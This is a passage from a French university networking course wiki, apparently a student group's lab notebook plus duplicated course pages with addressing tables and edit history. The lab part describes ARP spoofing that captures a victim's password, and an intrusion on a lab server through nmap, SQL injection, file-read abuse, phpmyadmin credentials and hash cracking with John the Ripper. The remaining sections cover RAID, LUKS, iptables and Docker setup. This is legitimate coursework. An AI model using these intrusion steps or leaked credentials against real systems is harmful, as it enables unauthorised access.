En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== Partie 7 ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifier notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Ainsi que supprimer le 01proxy qui se situe dans /etc/apt/apt.conf.d

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.

=== Installation de docker ===

=== Création de votre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

docker build -t web .

docker run -d -p "8085:80" --name web web

Nous avons ensuite créé un role ansible pour créer un depot local docker sur notre machine secondaire :

- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

TP sysres IMA5sc 2020/2021

2020-12-17T14:47:16Z

Psanchez : /* Plan d'adressage */

== Répartition des binômes ==

{| class="wikitable"
! Cahier !! Elèves
|-
| [[ TP sysres IMA5sc 2020/2021 G1 | Cahier groupe n°1]]
| GURY Evan & DUBOIS Vincent
|-
| [[ TP sysres IMA5sc 2020/2021 G2 | Cahier groupe n°2]]
| BARGIBANT Quentin & LAGNEAU Alex
|-
| [[ TP sysres IMA5sc 2020/2021 G3 | Cahier groupe n°3]]
| SIMONIN Richard & MERTZ Thomas
|-
| [[ TP sysres IMA5sc 2020/2021 G4 | Cahier groupe n°4]]
| BENAYED Samuel & EVRARD Théo
|-
| [[ TP sysres IMA5sc 2020/2021 G5 | Cahier groupe n°5]]
| RINGOT Loïc & SANCHEZ Pierre
|-
| [[ TP sysres IMA5sc 2020/2021 G6 | Cahier groupe n°6]]
| NDUWAMUNGU Jean De Dieu & MOINAT Théau
|-
| [[ TP sysres IMA5sc 2020/2021 G7 | Cahier groupe n°7]]
| EKHLAS EID Nour & BISALLI Clara
|-
| [[ TP sysres IMA5sc 2020/2021 G8 | Cahier groupe n°8]]
| SOULAIMANI Jawad & TEKIN Kadir
|-
| [[ TP sysres IMA5sc 2020/2021 G9 | Cahier groupe n°9]]
| VIEUBLED Tanguy & VERNIER Paul
|-
| [[ TP sysres IMA5sc 2020/2021 G10 | Cahier groupe n°10]]
| MALTI Hind & AHOUASSOU Loris
|-
| [[ TP sysres IMA5sc 2020/2021 G11 | Cahier groupe n°11]]
| DARDENNE Sébastien & CALLERISA Corto
|-
| [[ TP sysres IMA5sc 2020/2021 G12 | Cahier groupe n°12]]
| NORMAND Quentin & CLAUDEL Maxime
|-
| [[ TP sysres IMA5sc 2020/2021 G14 | Cahier groupe n°14]]
| FAUCHOIS Lukas & ROUILLÉ Guillaume
|}

==Plan d'adressage==

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (publique) !! IP (privée) !! IP (Port ssh)
|-
| Groupe 14
| oronge.site
| Debian 10 Buster
| 314
| 193.48.57.176
| 100.64.0.16
|-
| Groupe 12
| truffe.site
| Debian 10 Buster
| 312
| 193.48.57.177
| 100.64.0.17
|-
| Groupe 11
| stropharia.site
| Debian 10 Buster
| 311
| 193.48.57.178
| 100.64.0.18
|-
| Groupe 10
| pleurote.site
| Debian 10 Buster
| 310
| 193.48.57.179
| 100.64.0.19
|-
| Groupe 9
| calicedelamort.site
| Debian 10 Buster
| 309
| 193.48.57.180
| 100.64.0.20
|-
| Groupe 8
| piedbleu.site
| Debian 10 Buster
| 308
| 193.48.57.181
| 100.64.0.21
|-
| Groupe 7
| girolle.site
| Debian 10 Buster
| 307
| 193.48.57.182
| 100.64.0.22
|-
| Groupe 6
| morillon.website
| Debian 10 Buster
| 306
| 193.48.57.183
| 100.64.0.23
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 193.48.57.184
| 100.64.0.24
|-
| Groupe 4
| tricholome.site
| Debian 10 Buster
| 304
| 193.48.57.185
| 100.64.0.25
|-
| Groupe 3
| clavaire.site
| Debian 10 Buster
| 303
| 193.48.57.186
| 100.64.0.26
| 2222
|-
| Groupe 2
| ophiocordyceps.site
| Debian 10 Buster
| 302
| 193.48.57.187
| 100.64.0.27
|-
| Groupe 1
| trompettedelamort.site
| Debian 10 Buster
| 301
| 193.48.57.188
| 100.64.0.28
|}

{| class="wikitable"
! Groupe !! Domaine !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 ISR4331 !! IPV4 Routeur !! IPV6 !! N° VRRP !! Adresse Wi-fi !! BSSID
|-
|
|
| 1
| 10.60.100.0/24
| 10.60.100.1
| 10.60.100.2
|
| 10.60.100.254
| 2001:660:4401:60b0::0/64
| 31
| 10.60.100.10
|-
|
|
| 131
| 192.168.222.8/29
| 192.168.222.12
| 192.168.222.13
|
|
| 2001:660:4401:60b1::0/64
|
|
|-
|
|
| 531
| 192.168.222.24/29
| 192.168.222.26
| 192.168.222.27
|
|
|
|
|
|-
|
|
| 333
| 100.64.0.0/24
| 100.64.0.1
| 100.64.0.2
| 100.64.0.3
| 100.64.0.254
| 2001:660:4401:60b2::0/64
| 33
|
|-
| Groupe 1
| trompettedelamort.site
| 301
| 10.60.101.0/24
| 10.60.101.1
| 10.60.101.2
|
| 10.60.101.254
| 2001:660:4401:60b3::0/64
| 41
|
| SSID_GROUP1
|-
| Groupe 2
| ophiocordyceps.site
| 302
| 10.60.102.0/24
| 10.60.102.1
| 10.60.102.2
|
| 10.60.102.254
| 2001:660:4401:60b4::0/64
| 42
|
| SSID_GROUP2
|-
| Groupe 3
| clavaire.site
| 303
| 10.60.103.0/24
| 10.60.103.1
| 10.60.103.2
|
| 10.60.103.254
| 2001:660:4401:60b5::0/64
| 43
|
| SSID_GROUP3
|-
| Groupe 4
| tricholome.site
| 304
| 10.60.104.0/24
| 10.60.104.1
| 10.60.104.2
|
| 10.60.104.254
| 2001:660:4401:60b6::0/64
| 44
|
| SSID_GROUP4
|-
| Groupe 5
| amanite.site
| 305
| 10.60.105.0/24
| 10.60.105.1
| 10.60.105.2
|
| 10.60.105.254
| 2001:660:4401:60b7::0/64
| 45
|
| SSID_GROUP5
|-
| Groupe 6
| morillon.website
| 306
| 10.60.106.0/24
| 10.60.106.1
| 10.60.106.2
|
| 10.60.106.254
| 2001:660:4401:60b8::0/64
| 46
|
| SSID_GROUP6
|-
| Groupe 7
| girolle.site
| 307
| 10.60.107.0/24
| 10.60.107.1
| 10.60.107.2
|
| 10.60.107.254
| 2001:660:4401:60b9::0/64
| 47
|
| SSID_GROUP7
|-
| Groupe 8
| piedbleu.site
| 308
| 10.60.108.0/24
| 10.60.108.1
| 10.60.108.2
|
| 10.60.108.254
| 2001:660:4401:60ba::0/64
| 48
|
| SSID_GROUP8
|-
| Groupe 9
| calicedelamort.site
| 309
| 10.60.109.0/24
| 10.60.109.1
| 10.60.109.2
|
| 10.60.109.254
| 2001:660:4401:60bb::0/64
| 49
|
| SSID_GROUP9
|-
| Groupe 10
| pleurote.site
| 310
| 10.60.110.0/24
| 10.60.110.1
| 10.60.110.2
|
| 10.60.110.254
| 2001:660:4401:60bc::0/64
| 50
|
| SSID_GROUP10
|-
| Groupe 11
| stropharia.site
| 311
| 10.60.111.0/24
| 10.60.111.1
| 10.60.111.2
|
| 10.60.111.254
| 2001:660:4401:60bd::0/64
| 51
|
| SSID_GROUP11
|-
| Groupe 12
| truffe.site
| 312
| 10.60.112.0/24
| 10.60.112.1
| 10.60.112.2
|
| 10.60.112.254
| 2001:660:4401:60be::0/64
| 52
|
| SSID_GROUP12
|-
| Groupe 14
| oronge.site
| 314
| 10.60.114.0/24
| 10.60.114.1
| 10.60.114.2
|
| 10.60.114.254
| 2001:660:4401:60bf::0/64
| 54
|
| SSID_GROUP14
|}

== Installation du réseau ==

=== Branchement du matériel ===

[[Fichier:Global_scheme_PRA_2020.png|600px|center|Schéma de câblage]]

=== Connexions entre équipements ===

{| class="wikitable"
! !! Type !! Port
|-
| 6509-E
| Fibre 10G
| Te5/4
|-
| 9200
| Fibre 10G
| Te1/1/1
|}
{| class="wikitable"
! !! Type !! Port
|-
| 6509-E
| Fibre 10G
| Te6/5
|-
| ISR 4331
| Fibre 10G
| Ge0/0/2
|}
{| class="wikitable"
! !! Type !! Port !! VLAN !! IP
|-
| 6509-E
| Fibre 10G
| Te5/5
| 333
| 100.64.0.1/24
|-
| CAPBRETON
| Fibre 10G
| Eth5
| N/A
| N/A
|}
{| class="wikitable"
! !! Type !! Port !! VLAN !! IP
|-
| 6509-E
| Fibre 10G
| Te6/4
| 131
| 192.168.222.12/29
|-
| ECOLE
| Fibre 10G
| N/A
| N/A
| N/A
|}
{| class="wikitable"
! !! Type !! Port !! VLAN !! IP
|-
| 9200
| Fibre 1G
| Te1/1/3
| 333
| 100.64.0.2/24
|-
| CAPBRETON
| Cuivre
| Eth4
| N/A
| N/A
|}
{| class="wikitable"
! !! Type !! Port
|-
| 9200
| Cuivre
| Gi1/0/2
|-
| ISR 4331
| Cuivre
| Ge0/0/0
|}
{| class="wikitable"
! !! Type !! Port !! VLAN !! IP
|-
| 9200
| Fibre 10G
| Gi1/0/1
| 131
| 192.168.222.13/29
|-
| ECOLE
| Fibre 10G
| N/A
| N/A
| N/A
|}
{| class="wikitable"
! !! Type !! Port !! VLAN !! IP
|-
| ISR 4331
| Cuivre
| Gi1/0/2
| 531
| 213.215.6.102
|-
| SDSL
| Cuivre
| N/A
| N/A
| N/A
|}

=== ASR ===

==Plan d'adressage==

{| class="wikitable"
! Groupe !! Domaine !! Adresse VLAN50 Capbeton !! Adresse VLAN50 Chassiron !! Port d'attaque du serveur web !! Groupe
|-
| Groupe 14
| oronge.site
| 192.168.42.14
| 192.168.42.28
| 8094
| 1
|-
| Groupe 12
| truffe.site
| 192.168.42.12
| 192.168.42.26
| 8092
| 2
|-
| Groupe 11
| stropharia.site
| 192.168.42.11
| 192.168.42.25
| 8091
| 1
|-
| Groupe 10
| pleurote.site
| 192.168.42.10
| 192.168.42.24
| 8090
| 1
|-
| Groupe 9
| calicedelamort.site
| 192.168.42.9
| 192.168.42.23
| 8089
| 2
|-
| Groupe 8
| piedbleu.site
| 192.168.42.8
| 192.168.42.22
| 8088
| 1
|-
| Groupe 7
| girolle.site
| 192.168.42.7
| 192.168.42.21
| 8087
| 2
|-
| Groupe 6
| morillon.website
| 192.168.42.6
| 192.168.42.20
| 8086
| 1
|-
| Groupe 5
| amanite.site
| 192.168.42.5
| 192.168.42.19
| 8085
| 2
|-
| Groupe 4
| tricholome.site
| 192.168.42.4
| 192.168.42.18
| 8084
| 2
|-
| Groupe 3
| clavaire.site
| 192.168.42.3
| 192.168.42.17
| 8083
| 1
|-
| Groupe 2
| ophiocordyceps.site
| 192.168.42.2
| 192.168.42.16
| 8082
| 2
|-
| Groupe 1
| trompettedelamort.site
| 192.168.42.1
| 192.168.42.15
| 8081
| 1
|}

TP sysres IMA5sc 2020/2021

2020-12-17T14:46:19Z

Psanchez : /* Plan d'adressage */

== Répartition des binômes ==

{| class="wikitable"
! Cahier !! Elèves
|-
| [[ TP sysres IMA5sc 2020/2021 G1 | Cahier groupe n°1]]
| GURY Evan & DUBOIS Vincent
|-
| [[ TP sysres IMA5sc 2020/2021 G2 | Cahier groupe n°2]]
| BARGIBANT Quentin & LAGNEAU Alex
|-
| [[ TP sysres IMA5sc 2020/2021 G3 | Cahier groupe n°3]]
| SIMONIN Richard & MERTZ Thomas
|-
| [[ TP sysres IMA5sc 2020/2021 G4 | Cahier groupe n°4]]
| BENAYED Samuel & EVRARD Théo
|-
| [[ TP sysres IMA5sc 2020/2021 G5 | Cahier groupe n°5]]
| RINGOT Loïc & SANCHEZ Pierre
|-
| [[ TP sysres IMA5sc 2020/2021 G6 | Cahier groupe n°6]]
| NDUWAMUNGU Jean De Dieu & MOINAT Théau
|-
| [[ TP sysres IMA5sc 2020/2021 G7 | Cahier groupe n°7]]
| EKHLAS EID Nour & BISALLI Clara
|-
| [[ TP sysres IMA5sc 2020/2021 G8 | Cahier groupe n°8]]
| SOULAIMANI Jawad & TEKIN Kadir
|-
| [[ TP sysres IMA5sc 2020/2021 G9 | Cahier groupe n°9]]
| VIEUBLED Tanguy & VERNIER Paul
|-
| [[ TP sysres IMA5sc 2020/2021 G10 | Cahier groupe n°10]]
| MALTI Hind & AHOUASSOU Loris
|-
| [[ TP sysres IMA5sc 2020/2021 G11 | Cahier groupe n°11]]
| DARDENNE Sébastien & CALLERISA Corto
|-
| [[ TP sysres IMA5sc 2020/2021 G12 | Cahier groupe n°12]]
| NORMAND Quentin & CLAUDEL Maxime
|-
| [[ TP sysres IMA5sc 2020/2021 G14 | Cahier groupe n°14]]
| FAUCHOIS Lukas & ROUILLÉ Guillaume
|}

==Plan d'adressage==

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (publique) !! IP (privée) !! IP (Port ssh)
|-
| Groupe 14
| oronge.site
| Debian 10 Buster
| 314
| 193.48.57.176
| 100.64.0.16
|-
| Groupe 12
| truffe.site
| Debian 10 Buster
| 312
| 193.48.57.177
| 100.64.0.17
|-
| Groupe 11
| stropharia.site
| Debian 10 Buster
| 311
| 193.48.57.178
| 100.64.0.18
|-
| Groupe 10
| pleurote.site
| Debian 10 Buster
| 310
| 193.48.57.179
| 100.64.0.19
|-
| Groupe 9
| calicedelamort.site
| Debian 10 Buster
| 309
| 193.48.57.180
| 100.64.0.20
|-
| Groupe 8
| piedbleu.site
| Debian 10 Buster
| 308
| 193.48.57.181
| 100.64.0.21
|-
| Groupe 7
| girolle.site
| Debian 10 Buster
| 307
| 193.48.57.182
| 100.64.0.22
|-
| Groupe 6
| morillon.website
| Debian 10 Buster
| 306
| 193.48.57.183
| 100.64.0.23
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 193.48.57.184
| 100.64.0.24
|-
| Groupe 4
| tricholome.site
| Debian 10 Buster
| 304
| 193.48.57.185
| 100.64.0.25
|-
| Groupe 3
| clavaire.site
| Debian 10 Buster
| 303
| 193.48.57.186
| 100.64.0.26
| 2222
|-
| Groupe 2
| ophiocordyceps.site
| Debian 10 Buster
| 302
| 193.48.57.187
| 100.64.0.27
|-
| Groupe 1
| trompettedelamort.site
| Debian 10 Buster
| 301
| 193.48.57.188
| 100.64.0.28
|}

{| class="wikitable"
! Groupe !! Domaine !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 ISR4331 !! IPV4 Routeur !! IPV6 !! N° VRRP !! Adresse Wi-fi !! BSSID
|-
|
|
| 1
| 10.60.100.0/24
| 10.60.100.1
| 10.60.100.2
|
| 10.60.100.254
| 2001:660:4401:60b0::0/64
| 31
| 10.60.100.10
|-
|
|
| 131
| 192.168.222.8/29
| 192.168.222.12
| 192.168.222.13
|
|
| 2001:660:4401:60b1::0/64
|
|
|-
|
|
| 531
| 192.168.222.24/29
| 192.168.222.26
| 192.168.222.27
|
|
|
|
|
|-
|
|
| 333
| 100.64.0.0/24
| 100.64.0.1
| 100.64.0.2
| 100.64.0.3
| 100.64.0.254
| 2001:660:4401:60b2::0/64
| 33
|
|-
| Groupe 1
| trompettedelamort.site
| 301
| 10.60.101.0/24
| 10.60.101.1
| 10.60.101.2
|
| 10.60.101.254
| 2001:660:4401:60b3::0/64
| 41
|
| SSID_GROUP1
|-
| Groupe 2
| ophiocordyceps.site
| 302
| 10.60.102.0/24
| 10.60.102.1
| 10.60.102.2
|
| 10.60.102.254
| 2001:660:4401:60b4::0/64
| 42
|
| SSID_GROUP2
|-
| Groupe 3
| clavaire.site
| 303
| 10.60.103.0/24
| 10.60.103.1
| 10.60.103.2
|
| 10.60.103.254
| 2001:660:4401:60b5::0/64
| 43
|
| SSID_GROUP3
|-
| Groupe 4
| tricholome.site
| 304
| 10.60.104.0/24
| 10.60.104.1
| 10.60.104.2
|
| 10.60.104.254
| 2001:660:4401:60b6::0/64
| 44
|
| SSID_GROUP4
|-
| Groupe 5
| amanite.site
| 305
| 10.60.105.0/24
| 10.60.105.1
| 10.60.105.2
|
| 10.60.105.254
| 2001:660:4401:60b7::0/64
| 45
|
| SSID_GROUP5
|-
| Groupe 6
| morillon.website
| 306
| 10.60.106.0/24
| 10.60.106.1
| 10.60.106.2
|
| 10.60.106.254
| 2001:660:4401:60b8::0/64
| 46
|
| SSID_GROUP6
|-
| Groupe 7
| girolle.site
| 307
| 10.60.107.0/24
| 10.60.107.1
| 10.60.107.2
|
| 10.60.107.254
| 2001:660:4401:60b9::0/64
| 47
|
| SSID_GROUP7
|-
| Groupe 8
| piedbleu.site
| 308
| 10.60.108.0/24
| 10.60.108.1
| 10.60.108.2
|
| 10.60.108.254
| 2001:660:4401:60ba::0/64
| 48
|
| SSID_GROUP8
|-
| Groupe 9
| calicedelamort.site
| 309
| 10.60.109.0/24
| 10.60.109.1
| 10.60.109.2
|
| 10.60.109.254
| 2001:660:4401:60bb::0/64
| 49
|
| SSID_GROUP9
|-
| Groupe 10
| pleurote.site
| 310
| 10.60.110.0/24
| 10.60.110.1
| 10.60.110.2
|
| 10.60.110.254
| 2001:660:4401:60bc::0/64
| 50
|
| SSID_GROUP10
|-
| Groupe 11
| stropharia.site
| 311
| 10.60.111.0/24
| 10.60.111.1
| 10.60.111.2
|
| 10.60.111.254
| 2001:660:4401:60bd::0/64
| 51
|
| SSID_GROUP11
|-
| Groupe 12
| truffe.site
| 312
| 10.60.112.0/24
| 10.60.112.1
| 10.60.112.2
|
| 10.60.112.254
| 2001:660:4401:60be::0/64
| 52
|
| SSID_GROUP12
|-
| Groupe 14
| oronge.site
| 314
| 10.60.114.0/24
| 10.60.114.1
| 10.60.114.2
|
| 10.60.114.254
| 2001:660:4401:60bf::0/64
| 54
|
| SSID_GROUP14
|}

== Installation du réseau ==

=== Branchement du matériel ===

[[Fichier:Global_scheme_PRA_2020.png|600px|center|Schéma de câblage]]

=== Connexions entre équipements ===

{| class="wikitable"
! !! Type !! Port
|-
| 6509-E
| Fibre 10G
| Te5/4
|-
| 9200
| Fibre 10G
| Te1/1/1
|}
{| class="wikitable"
! !! Type !! Port
|-
| 6509-E
| Fibre 10G
| Te6/5
|-
| ISR 4331
| Fibre 10G
| Ge0/0/2
|}
{| class="wikitable"
! !! Type !! Port !! VLAN !! IP
|-
| 6509-E
| Fibre 10G
| Te5/5
| 333
| 100.64.0.1/24
|-
| CAPBRETON
| Fibre 10G
| Eth5
| N/A
| N/A
|}
{| class="wikitable"
! !! Type !! Port !! VLAN !! IP
|-
| 6509-E
| Fibre 10G
| Te6/4
| 131
| 192.168.222.12/29
|-
| ECOLE
| Fibre 10G
| N/A
| N/A
| N/A
|}
{| class="wikitable"
! !! Type !! Port !! VLAN !! IP
|-
| 9200
| Fibre 1G
| Te1/1/3
| 333
| 100.64.0.2/24
|-
| CAPBRETON
| Cuivre
| Eth4
| N/A
| N/A
|}
{| class="wikitable"
! !! Type !! Port
|-
| 9200
| Cuivre
| Gi1/0/2
|-
| ISR 4331
| Cuivre
| Ge0/0/0
|}
{| class="wikitable"
! !! Type !! Port !! VLAN !! IP
|-
| 9200
| Fibre 10G
| Gi1/0/1
| 131
| 192.168.222.13/29
|-
| ECOLE
| Fibre 10G
| N/A
| N/A
| N/A
|}
{| class="wikitable"
! !! Type !! Port !! VLAN !! IP
|-
| ISR 4331
| Cuivre
| Gi1/0/2
| 531
| 213.215.6.102
|-
| SDSL
| Cuivre
| N/A
| N/A
| N/A
|}

=== ASR ===

==Plan d'adressage==

{| class="wikitable"
! Groupe !! Domaine !! Adresse VLAN50 Capbeton !! Adresse VLAN50 Chassiron !! Port d'attaque du serveur web !! Groupe
|-
| Groupe 14
| oronge.site
| 192.168.42.14
| 192.168.42.28
| 8094
| 1
|-
| Groupe 12
| truffe.site
| 192.168.42.12
| 192.168.42.26
| 8092
| 2
|-
| Groupe 11
| stropharia.site
| 192.168.42.11
| 192.168.42.25
| 8091
| 1
|-
| Groupe 10
| pleurote.site
| 192.168.42.10
| 192.168.42.24
| 8090
| 1
|-
| Groupe 9
| calicedelamort.site
| 192.168.42.9
| 192.168.42.23
| 8089
| 2
|-
| Groupe 8
| piedbleu.site
| 192.168.42.8
| 192.168.42.22
| 8088
| 1
|-
| Groupe 7
| girolle.site
| 192.168.42.7
| 192.168.42.21
| 8087
| 2
|-
| Groupe 6
| morillon.website
| 192.168.42.6
| 192.168.42.20
| 8086
| 2
|-
| Groupe 5
| amanite.site
| 192.168.42.5
| 192.168.42.19
| 8085
| 2
|-
| Groupe 4
| tricholome.site
| 192.168.42.4
| 192.168.42.18
| 8084
| 2
|-
| Groupe 3
| clavaire.site
| 192.168.42.3
| 192.168.42.17
| 8083
| 1
|-
| Groupe 2
| ophiocordyceps.site
| 192.168.42.2
| 192.168.42.16
| 8082
| 2
|-
| Groupe 1
| trompettedelamort.site
| 192.168.42.1
| 192.168.42.15
| 8081
| 1
|}

TP sysres IMA5sc 2020/2021 G5

2020-12-17T14:35:39Z

Psanchez : /* Partie 7 */

TP sysres IMA5sc 2020/2021 G5

2020-12-17T14:30:30Z

Psanchez : /* Partie 7 */

TP sysres IMA5sc 2020/2021 G5

2020-12-17T14:30:11Z

Psanchez : /* Partie 7 */

TP sysres IMA5sc 2020/2021 G5

2020-12-17T14:28:37Z

Psanchez :

TP sysres IMA5sc 2020/2021 G5

2020-12-17T09:56:51Z

Psanchez : /* Inspection ARP par un élément réseau */

TP sysres IMA5sc 2020/2021 G5

2020-12-14T17:28:44Z

Psanchez : /* Serveur DNS */

TP sysres IMA5sc 2020/2021 G5

2020-12-14T16:46:02Z

Psanchez :

TP sysres IMA5sc 2020/2021 G5

2020-12-14T15:58:16Z

Psanchez :

TP sysres IMA5sc 2020/2021 G5

2020-12-14T15:48:17Z

Psanchez : /* Intrusion sur un serveur d’application Web */

TP sysres IMA5sc 2020/2021 G5

2020-12-14T15:47:07Z

Psanchez : /* Intrusion sur un serveur d’application Web */

TP sysres IMA5sc 2020/2021 G5

2020-12-14T15:46:49Z

Psanchez : /* Intrusion sur un serveur d’application Web */

TP sysres IMA5sc 2020/2021 G5

2020-12-14T15:46:11Z

Psanchez : /* Intrusion sur un serveur d’application Web */

TP sysres IMA5sc 2020/2021 G5

2020-12-14T15:45:18Z

Psanchez : /* Intrusion sur un serveur d’application Web */

Fichier:Sql injection honey.png

2020-12-14T15:42:33Z

Psanchez :